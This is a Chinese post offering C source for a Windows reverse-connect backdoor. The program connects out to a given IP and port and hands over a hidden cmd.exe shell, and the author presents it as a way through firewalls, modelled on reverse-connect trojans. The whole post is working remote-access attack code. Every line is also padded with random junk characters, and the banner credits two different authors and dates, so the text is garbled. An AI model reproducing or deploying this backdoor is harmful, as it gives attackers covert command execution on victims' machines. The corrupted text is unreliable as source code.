这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T+N%KRl
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/* ============================== EcBSi995dj
Rebound port in Windows NT ~.yt
By wind,2006/7 "P"~/<:)
===============================*/ >/ W:*^g)
#include gKn"e|A
#include JX`+b
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#pragma comment(lib,"wsock32.lib") ()=
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void OutputShell(); W?5^cEF
SOCKET sClient; Jc(tV(z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Mm+_>
SA)}---"
void main(int argc,char **argv) Et4gRS)\
{ 50uNgLs
WSADATA stWsaData; gGH<%nHW1
int nRet; _;L9&>!p6
SOCKADDR_IN stSaiClient,stSaiServer; ]B5q v6
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if(argc != 3) ,eF}`
{ PIsMx -i0
printf("Useage:\n\rRebound DestIP DestPort\n"); bL ] *K$
return; L6J=m#Ld
} s+h`,gg9
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WSAStartup(MAKEWORD(2,2),&stWsaData); <Gr{h>b
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -|"mB"Dc
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stSaiClient.sin_family = AF_INET; }{ J<Wzw
stSaiClient.sin_port = htons(0); R<a7TkL4?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RxjC sjg
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /P Qz$e-!Y
{ (kK6=Mrf
printf("Bind Socket Failed!\n"); #\GWYWkR
return; a=.A/;|0*
} "z1\I\
^
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stSaiServer.sin_family = AF_INET; sFT-aLpL@V
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *"d"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fi14_{
{ [x
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printf("Connect Error!"); #9F=+[L
return; j[.R|I|
} >MauuL,.j
OutputShell(); 4'cdV0]
} t"cGv32b
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void OutputShell() C1:efa<wV
{ `$ql>k-6C
char szBuff[1024]; ogtKj"a
SECURITY_ATTRIBUTES stSecurityAttributes; 4@&8jZ)a
OSVERSIONINFO stOsversionInfo; 'j 'bhG
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; }q^M
char *szShell; jSsbLa@
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; PmZ-H>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7hlgm7^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .J6Oiv.E
stSecurityAttributes.lpSecurityDescriptor = 0; qL/4mM0
stSecurityAttributes.bInheritHandle = TRUE; ^i&sQQ({
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k1e0kxn
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "94e-Nx
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Mj&q"G
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j7IX"O%f\
stStartupInfo.wShowWindow = SW_HIDE; $!h21
stStartupInfo.hStdInput = hReadPipe; <7NY.zvwk]
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ae`*0wbv
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GetVersionEx(&stOsversionInfo); 5(W`{{AW
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switch(stOsversionInfo.dwPlatformId) \dO9nwa?
{ 52
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case 1: 9lbe[w@
szShell = "command.com"; /GCI`hx>"
break; %JF.m$-
default: (RW02%`jjy
szShell = "cmd.exe"; iG( )"^G
break; ~>2@55wElp
} !C]0l
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i0;
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send(sClient,szMsg,77,0); K;^$n>Y
while(1) TUuw
{ q1Gc0{+)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \ bNN]=
if(lBytesRead)
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{ 9y "R,
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yAz`n[
send(sClient,szBuff,lBytesRead,0); z UN&L7D
} 8,d<&3D
else .-2i9Bh6
{ dF$a52LS
lBytesRead=recv(sClient,szBuff,1024,0); lO&TSPD^
if(lBytesRead<=0) break; v[~e=^IIsl
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6g06s @kz
} 7VQ|3`!<
} 5i `q
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return; !A!}j.s
}